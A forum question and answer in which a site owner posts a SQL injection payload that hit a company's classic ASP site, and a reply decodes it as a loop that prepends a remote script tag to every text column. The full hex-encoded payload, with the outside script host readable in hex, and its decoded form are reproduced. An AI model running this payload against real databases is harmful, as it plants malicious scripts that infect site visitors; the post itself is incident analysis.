Can someone explain this SQL injection attack to me?

I wanted to post this here as it is very much coding related and was something I had to clean up this week on one of my company's old ASP (classic) sites.

We got hit with the SQL injection attack that was run just a few days ago, but I'm scratching my head WHAT exactly the 'damage' was to the SQL server (via these SQL queries).

To be honest, I thought it was very ingenious the way this was carried out, and its my companies fault for having an old 10 year old site with little to no sanitized input.

The attack:

122+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29-

What it decodes to: (what I want to understand)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

We've recovered a backup (pre injection) and went through the entire app and sanitized all input statements. Our server is firewalled, so no direct SQL access, however I want to know what else could be left over, and I have to admit the SQL query is over my head.

Can someone take a crack at it and explain the attack SQL for me?

APOLOGIES I UPDATED THE FULL DUMP & SQL

Solution

Just formatting it for readability will clarify a lot:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

It goes through every text column of every table and inserts some HTML into it — HTML that contains a pointer to externally-generated JavaScript.